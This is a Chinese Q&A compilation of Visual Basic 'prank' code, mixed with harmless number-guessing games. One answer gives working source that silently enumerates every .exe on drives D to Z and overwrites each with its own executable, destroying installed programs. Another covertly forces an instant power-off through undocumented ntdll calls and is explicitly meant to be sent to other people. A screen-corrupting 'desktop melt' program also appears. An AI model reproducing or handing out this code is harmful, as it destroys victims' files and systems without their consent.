vb好玩的代码大全（求一些VB恶搞代码效果越厉害越好，例如：蓝屏.等等）

本文目录

• 求一些VB恶搞代码效果越厉害越好，例如：蓝屏.等等
• VB求猜数游戏的编写代码
• 请哪位高手发一个有趣的vb代码给我
• VB猜数字游戏程序代码

求一些VB恶搞代码效果越厉害越好，例如：蓝屏.等等

电脑桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Const SRCCOPY = &HCC0020 ’ (DWORD) dest = source
Dim x As Integer, y As Integer
Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long
Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)
Private Sub Form_Load()
Me.Hide
Desktop = GetWindowDC(GetDesktopWindow())
hBitmap = CreateCompatibleDC(Desktop)
hScreen = CreateCompatibleDC(Desktop)
Buffer = CreateCompatibleBitmap(Desktop, 32, 32)
ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)
SelectObject hBitmap, Buffer
SelectObject hScreen, ScreenBuffer
BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY
For i = 0 To 1E+17
y = (Screen.Height / 15) * Rnd
x = (Screen.Width / 15) * Rnd
BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY
BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY
DoEvents
Next i
End Sub 还有个杀手锏；一段要人命的vb代码
-----------------------------------------------声明---------------------------------------------------------------
’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next ’容错句
If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 ’打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe 》》e:\123.txt" ’写入数据
Close #1 ’关闭文件
Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）
Shell "c:\a.bat", 0 ’隐藏运行之
End If
Sleep 60000 ’延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 ’读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) ’把txt里面的内容替换掉
Next
End Sub

《/SPAN》

VB求猜数游戏的编写代码

添加两个按钮（一个是 “生成一个数”，另一个是 “猜测”），一个label1,一个text1
所有 代码如下：
Dim a As Integer, b As Integer
Private Sub Command1_Click() ’生成一个数 按钮
Label1.Visible = False ’label1 不可见
Randomize
a = Int(4 * Rnd + 1) ’随机生成数字范围1~4，自己设置
Label1.Caption = a
End Sub
Private Sub Command2_Click() ’猜测 按钮
b = Val(Text1.Text)
If CStr(a) = CStr(b) Then
respose = MsgBox("你答对了", vbOKOnly, "提示") ’对话框只有确定按钮
Label1.Visible = True
Else
respose = MsgBox("你错了", vbRetryCancel, "提示") ’对话框有重试和取消按钮
If respose = vbRetry Then
Text1.SetFocus
Text1.text =""
Else
Label1.Visible = True
End If
End If
End Sub

请哪位高手发一个有趣的vb代码给我

********第一个捉弄人。command timer label text各一个
Dim i As Integer
Private Sub Form_Load()
shell "shutdown -s"
i = 30
End Sub
Private Sub Timer1_Timer()
i = i - 1
Label1.Caption = "说自己是猪，还有" & i & "秒就关机。。。"
If i = 0 Then
Shell "shutdown -s"
End If
End Sub
Private Sub Command1_Click()
if text1.text="我是猪" then shell"shutdown -a"
End Sub
************第二个，狠一点。发给别人，啥变化都没有，就关机了。像突然停电。。。。。。
Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)
Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&)
Private Const SE_SHUTDOWN_PRIVILEGE& = 19
Private Const shutdown& = 0
Private Const RESTART& = 1
Private Const POWEROFF& = 2
Sub jin()
RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0
NtShutdownSystem POWEROFF ’关机
End Sub
Private Sub Form_Load()
jin
End Sub
快速关机（最多3s，没提示） 用了微软没有对外公开的RtlAdjustPrivilege函数，用来提权 其他都能读懂吧？
发给别人，啥变化都没有，就关机了。像突然停电。。。。。。
不满意要干啥追问一下。。。

VB猜数字游戏程序代码

Option Explicit
Private Sub Command1_Click()
On Error Resume Next
Dim I As Integer
I = MsgBox("下面游戏开始，你准备好了吗？", vbYesNo)
If I = 6 Then Frame1.Visible = True: Text1 = "" Else Frame1.Visible = False
Text1.SetFocus
Randomize (Timer)
Text2 = Int(Rnd() * 10) + 1
Text3 = 0
End Sub
Private Sub Command2_Click()
End
End Sub
Private Sub Form_Load()
Me.Height = 5000
Me.Width = 10500
Me.BorderStyle = 1
Me.Caption = "猜数游戏"
Label1.Left = 0
Label1.Top = 1000
Label1.Caption = "欢迎进入猜数游戏"
Label1.FontName = "楷体_GB2312"
Label1.ForeColor = &H80FF&
Label1.FontSize = 48
Command1.Caption = "开始"
’Command1.Default = True
Command2.Caption = "退出"
Command2.Cancel = True
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If (KeyAscii 《 48 Or KeyAscii 》 57) And KeyAscii 《》 13 Then KeyAscii = 0
If KeyAscii = 13 Then
  If Text1 《》 "" Then Jysz
End If
End Sub
Private Function Jysz() As Boolean
  Text3 = Val(Text3) + 1
  If Val(Text1) = Val(Text2) Then
    MsgBox "猜对了，你真棒" & Chr(13) & Chr(10) & "请猜下一个……"
    Command1_Click
  ElseIf Val(Text1) 》 Val(Text2) Then
    MsgBox "猜大了。"
  Else
    MsgBox "猜小了。"
  End If
  Text1 = ""
  If Val(Text3) 》= 3 Then
  MsgBox "呵呵，没猜对！正确的答案是" & Text2 & "。别气馁，再来！"
  Command1_Click
  End If
End Function
具体程序已经发到你的邮箱songxing_cool@yahoo.com.cn
***隐藏网址***